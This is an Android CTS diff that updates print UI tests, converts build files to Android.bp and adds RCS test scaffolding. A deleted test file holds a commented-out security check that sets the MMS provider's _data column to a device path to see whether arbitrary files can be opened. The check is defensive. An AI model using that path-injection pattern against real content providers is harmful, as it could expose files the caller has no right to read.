-        UiObject2 copies = findUiObject(By.res("com.android.printspooler:id/copies_edittext"));
-        copies.setText(Integer.valueOf(newCopies).toString());
+        try {
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/copies_edittext"));
+            copies.setText(Integer.valueOf(newCopies).toString());
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected String getCopies() throws UiObjectNotFoundException, IOException {
-        UiObject2 copies = findUiObject(By.res("com.android.printspooler:id/copies_edittext"));
-        return copies.getText();
+        try {
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/copies_edittext"));
+            return copies.getText();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
@@ -697,13 +728,25 @@
     }
 
     public void clickPrintButton() throws UiObjectNotFoundException, IOException {
-        UiObject2 printButton = findUiObject(By.res("com.android.printspooler:id/print_button"));
-        printButton.click();
+        try {
+            UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/print_button"));
+            printButton.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     protected void clickRetryButton() throws UiObjectNotFoundException, IOException {
-        UiObject2 retryButton = findUiObject(By.res("com.android.printspooler:id/action_button"));
-        retryButton.click();
+        try {
+            UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/action_button"));
+            retryButton.click();
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
+        }
     }
 
     public void dumpWindowHierarchy() throws IOException {
@@ -741,14 +784,14 @@
         waitForActivityCreateCallbackCalled(createBefore + 1);
     }
 
-    protected void openPrintOptions() throws UiObjectNotFoundException, IOException {
-        UiObject2 expandHandle = findUiObject(By.res(
+    protected void openPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/expand_collapse_handle"));
         expandHandle.click();
     }
 
-    protected void openCustomPrintOptions() throws UiObjectNotFoundException, IOException {
-        UiObject2 expandHandle = findUiObject(By.res(
+    protected void openCustomPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/more_options_button"));
         expandHandle.click();
     }
@@ -926,14 +969,15 @@
     }
 
     protected void selectPages(String pages, int totalPages) throws Exception {
-        UiObject2 pagesSpinner = findUiObject(By.res(
+        UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/range_options_spinner"));
         pagesSpinner.click();
 
-        UiObject2 rangeOption = findUiObject(By.textContains("Range of " + totalPages));
+        UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains("Range of "
+                + totalPages));
         rangeOption.click();
 
-        UiObject2 pagesEditText = findUiObject(By.res(
+        UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/page_range_edittext"));
         pagesEditText.setText(pages);
 
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index 200e410..60c6210 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -41,7 +41,9 @@
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -103,18 +105,23 @@
             return PAGESS[2];
         }
 
-        UiObject2 pagesEditText = findUiObject(By.res(
-                "com.android.printspooler:id/page_range_edittext"));
+        try {
+            UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
+                    "com.android.printspooler:id/page_range_edittext"));
 
-        if (pagesEditText.getText().equals("2")) {
-            return PAGESS[1];
+            if (pagesEditText.getText().equals("2")) {
+                return PAGESS[1];
+            }
+
+            if (pagesEditText.getText().equals("1")) {
+                return PAGESS[0];
+            }
+
+            return null;
+        } catch (UiObjectNotFoundException e) {
+            dumpWindowHierarchy();
+            throw e;
         }
-
-        if (pagesEditText.getText().equals("1")) {
-            return PAGESS[0];
-        }
-
-        return null;
     }
 
     @Before
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index a58897b..53c72ee 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -59,8 +59,9 @@
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -402,8 +403,9 @@
         print(adapter);
 
         // Open printer selection dropdown list to display icon on screen
-        UiObject2 destinationSpinner = findUiObject(By.res(
-                "com.android.printspooler:id/destination_spinner"));
+        UiObject destinationSpinner = UiDevice.getInstance(getInstrumentation())
+                .findObject(new UiSelector().resourceId(
+                        "com.android.printspooler:id/destination_spinner"));
         destinationSpinner.click();
 
         // Get the print service's icon
@@ -623,7 +625,8 @@
         });
 
         // Open info activity which executed the code above
-        UiObject2 moreInfoButton = findUiObject(By.res("com.android.printspooler:id/more_info"));
+        UiObject moreInfoButton = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/more_info"));
         moreInfoButton.click();
 
         // Wait until printer is selected and thereby tracked
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 25e3c0b..5580cda 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -41,8 +41,8 @@
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrinterDiscoverySession;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
 
 import androidx.annotation.NonNull;
 import androidx.test.runner.AndroidJUnit4;
@@ -131,7 +131,8 @@
      */
     private void selectInAllPrintersActivity(@NonNull String printerName) throws Exception {
         while (true) {
-            UiObject2 printerItem = findUiObject(By.text(printerName));
+            UiObject printerItem = getUiDevice().findObject(
+                    new UiSelector().text(printerName));
 
             if (printerItem.isEnabled()) {
                 printerItem.click();
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index d48795f..6e67dee 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -33,8 +33,8 @@
 import android.print.test.services.PrinterDiscoverySessionCallbacks;
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
 import android.text.TextUtils;
 
 import androidx.test.runner.AndroidJUnit4;
@@ -343,7 +343,7 @@
         waitForWriteAdapterCallback(1);
 
         // Open destination spinner
-        UiObject2 destinationSpinner = findUiObject(By.res(
+        UiObject destinationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/destination_spinner"));
         destinationSpinner.click();
 
diff --git a/tests/tests/proto/Android.bp b/tests/tests/proto/Android.bp
new file mode 100644
index 0000000..cd57f37
--- /dev/null
+++ b/tests/tests/proto/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsProtoTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.proto",
+    ],
+    proto: {
+        type: "nano",
+    },
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    //sdl_version: "current",
+    platform_apis: true,
+    libs: ["android.test.runner.stubs"],
+    static_libs: ["ctstestrunner-axt"],
+}
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
deleted file mode 100644
index e937e0c..0000000
--- a/tests/tests/proto/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-proto-files-under, src)
-
-LOCAL_PROTOC_OPTIMIZE_TYPE := nano
-
-LOCAL_PACKAGE_NAME := CtsProtoTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-        ctstestrunner-axt
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
new file mode 100644
index 0000000..56b3ba4
--- /dev/null
+++ b/tests/tests/provider/Android.bp
@@ -0,0 +1,45 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsProviderTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.mock",
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+        "telephony-common",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "junit",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    jni_libs: [
+        "libcts_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
deleted file mode 100644
index 005f076..0000000
--- a/tests/tests/provider/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions of libs
-LOCAL_MULTILIB := both
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := android.test.mock android.test.base.stubs android.test.runner.stubs telephony-common
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    junit
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsProviderTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
index 87e8b3e..756fa76 100644
--- a/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/BlockedNumberContractTest.java
@@ -30,8 +30,6 @@
 import android.telephony.TelephonyManager;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
 import junit.framework.Assert;
 
 import java.util.ArrayList;
@@ -45,7 +43,6 @@
 // make cts
 // cts-tradefed
 // run cts -m CtsProviderTestCases --test android.provider.cts.BlockedNumberContractTest
-@CddTest(requirement="7.4.1.1/C-1-1,C-1-2")
 public class BlockedNumberContractTest extends TestCaseThatRunsIfTelephonyIsEnabled {
     private static final String TAG = "BlockedNumberContractTest";
     private ContentResolver mContentResolver;
@@ -77,7 +74,6 @@
         super.tearDown();
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testProviderInteractionsAsRegularApp_fails() {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -135,7 +131,6 @@
         assertNull(mContentResolver.getType(BlockedNumberContract.AUTHORITY_URI));
     }
 
-    @CddTest(requirement="7.4.1.1/CC-1-2")
     public void testInsertAndBlockCheck_succeeds() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -167,7 +162,6 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, "random string"));
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testUnblock_succeeds() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -187,7 +181,6 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, "1234@abcd.com"));
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testInsert_failsWithInvalidInputs() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -233,7 +226,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testUpdate_isUnsupported() throws  Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -258,7 +250,6 @@
         assertFalse(BlockedNumberContract.isBlocked(mContext, ""));
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testDelete() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -330,7 +321,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testProviderNotifiesChangesUsingContentObserver() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
@@ -361,7 +351,6 @@
         }
     }
 
-    @CddTest(requirement="7.4.1.1/C-1-2")
     public void testAccessingNonExistentMethod_fails() throws Exception {
         if (!mIsSystemUser) {
             Log.i(TAG, "skipping BlockedNumberContractTest");
diff --git a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java b/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
deleted file mode 100644
index b06ddfa..0000000
--- a/tests/tests/provider/src/android/provider/cts/TelephonyProviderTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.provider.Telephony.Carriers;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
-
-import java.lang.reflect.Field;
-
-import java.io.FileDescriptor;
-
-// To run the tests in this file w/o running all the cts tests:
-// make cts
-// cts-tradefed
-// run cts -c android.provider.cts.TelephonyProviderTest
-
-public class TelephonyProviderTest extends InstrumentationTestCase {
-    private ContentResolver mContentResolver;
-    private static final String[] APN_PROJECTION = {
-        Carriers.TYPE,            // 0
-        Carriers.MMSC,            // 1
-        Carriers.MMSPROXY,        // 2
-        Carriers.MMSPORT          // 3
-    };
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = getInstrumentation().getContext().getContentResolver();
-    }
-
-    // Test that the TelephonyProvider doesn't allow clients to update _data column data and
-    // if they can, that they can't abuse the provider to open an arbitrary file.
-    // --- This test is commented out for now because the test needs to run as if it were
-    // the default SMS app. Until we have a way to do that in the test framework, the test will
-    // fail (i.e. the insert will appear to have succeeded when it really hasn't).
-//    public void testOpeningAnyFile() {
-//        Uri uri = Uri.parse("content://mms/100/part");
-//        try {
-//            ContentValues values2 = new ContentValues();
-//            values2.put("_data", "/dev/urandom");
-//            Uri uri2 = mContentResolver.insert(uri, values2);
-//            assertNull("The code was able to insert the _data column", uri2);
-//            if (uri2 == null) {
-//                return;
-//            }
-//            ContentValues values = new ContentValues();
-//            values.put("_data", "/dev/urandom");
-//            int rowCnt = mContentResolver.update(uri2, values, null, null);
-//            assertEquals("Was able to update the _data column", 0, rowCnt);
-//
-//            ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(uri2, "rw");
-//            pfd.getFileDescriptor();
-//            FileDescriptor fd = pfd.getFileDescriptor();
-//            Field fld = fd.getClass().getDeclaredField("descriptor");
-//            fld.setAccessible(true);
-//            int fint  = fld.getInt(fd);
-//            fail("The code was able to abuse the MmsProvider to open any file");
-//        } catch(Exception e){
-//            e.printStackTrace();
-//        }
-//    }
-
-    // In JB MR1 access to the TelephonyProvider's Carriers table was clamped down and would
-    // throw a SecurityException when queried. That was fixed in JB MR2. Verify that 3rd parties
-    // can access the APN info the carriers table, after JB MR1.
-    public void testAccessToApns() {
-        try {
-            String selection = Carriers.CURRENT + " IS NOT NULL";
-            String[] selectionArgs = null;
-            Cursor cursor = mContentResolver.query(Carriers.CONTENT_URI,
-                    APN_PROJECTION, selection, selectionArgs, null);
-        } catch (SecurityException e) {
-            fail("No access to current APN");
-        }
-    }
-}
diff --git a/tests/tests/rcs/Android.bp b/tests/tests/rcs/Android.bp
new file mode 100644
index 0000000..07b4d3b
--- /dev/null
+++ b/tests/tests/rcs/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsRcsTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.rules",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    platform_apis: true,
+}
diff --git a/tests/tests/rcs/AndroidManifest.xml b/tests/tests/rcs/AndroidManifest.xml
new file mode 100755
index 0000000..15a4038
--- /dev/null
+++ b/tests/tests/rcs/AndroidManifest.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telephony.ims.cts"
+    android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <!-- Required to be default SMS app -->
+        <receiver android:name="android.telephony.ims.SmsApplicationSmsDeliverReceiver"
+                  android:permission="android.permission.BROADCAST_SMS">
+
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+            </intent-filter>
+
+        </receiver>
+
+        <!-- Required to be default SMS app -->
+        <receiver android:name="android.telephony.ims.SmsApplicationWapPushDeliverReceiver"
+                  android:permission="android.permission.BROADCAST_WAP_PUSH">
+
+            <intent-filter>
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
+                <data android:mimeType="application/vnd.wap.mms-message" />
+            </intent-filter>
+
+        </receiver>
+
+        <!-- Required to be default SMS app -->
+        <service android:name="android.telephony.ims.SmsApplicationService"
+                 android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+                 android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="sms" />
+                <data android:scheme="smsto" />
+                <data android:scheme="mms" />
+                <data android:scheme="mmsto" />
+            </intent-filter>
+        </service>
+
+        <!-- Required to be default SMS app -->
+        <activity
+            android:name="android.telephony.ims.SmsApplicationActivity"
+            android:label="RCS CTS Test Application Activity"
+            android:windowSoftInputMode="stateHidden">
+
+            <intent-filter>
+                <action android:name="android.intent.action.SEND" />
+                <action android:name="android.intent.action.SENDTO" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="sms" />
+                <data android:scheme="smsto" />
+                <data android:scheme="mms" />
+                <data android:scheme="mmsto" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="RCS CTS tests"
+        android:targetPackage="android.telephony.ims.cts" >
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/rcs/AndroidTest.xml b/tests/tests/rcs/AndroidTest.xml
new file mode 100644
index 0000000..6b24565
--- /dev/null
+++ b/tests/tests/rcs/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for RCS test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <!-- RCS functionality depends on SMS permissions not available to instant apps. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsRcsTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telephony.ims.cts" />
+        <option name="hidden-api-checks" value="false"/>
+    </test>
+</configuration>
diff --git a/tests/tests/rcs/OWNERS b/tests/tests/rcs/OWNERS
new file mode 100644
index 0000000..f901c4f
--- /dev/null
+++ b/tests/tests/rcs/OWNERS
@@ -0,0 +1,16 @@
+amitmahajan@google.com
+breadley@google.com
+fionaxu@google.com
+hallliu@google.com
+jackyu@google.com
+jminjie@google.com
+lelandmiller@google.com
+mpq@google.com
+nazaninb@google.com
+paulye@google.com
+refuhoo@google.com
+rgreenwalt@google.com
+sahinc@google.com
+satk@google.com
+shuoq@google.com
+tgunn@google.com
\ No newline at end of file
diff --git a/tests/tests/rcs/src/android/telephony/ims/SmsApplicationActivity.java b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationActivity.java
new file mode 100644
index 0000000..3588046
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims;
+
+import android.app.Activity;
+
+/**
+ * This activity is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class SmsApplicationActivity extends Activity {}
+
diff --git a/tests/tests/rcs/src/android/telephony/ims/SmsApplicationService.java b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationService.java
new file mode 100644
index 0000000..302228e
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationService.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims;
+
+import android.app.IntentService;
+import android.content.Intent;
+
+/**
+ * This service is used to provide the interface required for a default SMS application. It
+ * intentionally has no custom behavior.
+ */
+public class SmsApplicationService extends IntentService {
+    private static final String TAG = "SmsApplicationService";
+
+    public SmsApplicationService() {
+        super(TAG);
+    }
+
+    @Override
+    protected void onHandleIntent(Intent intent) {
+        // Do nothing
+    }
+}
diff --git a/tests/tests/rcs/src/android/telephony/ims/SmsApplicationSmsDeliverReceiver.java b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationSmsDeliverReceiver.java
new file mode 100644
index 0000000..8bcc9bc
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/SmsApplicationSmsDeliverReceiver.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
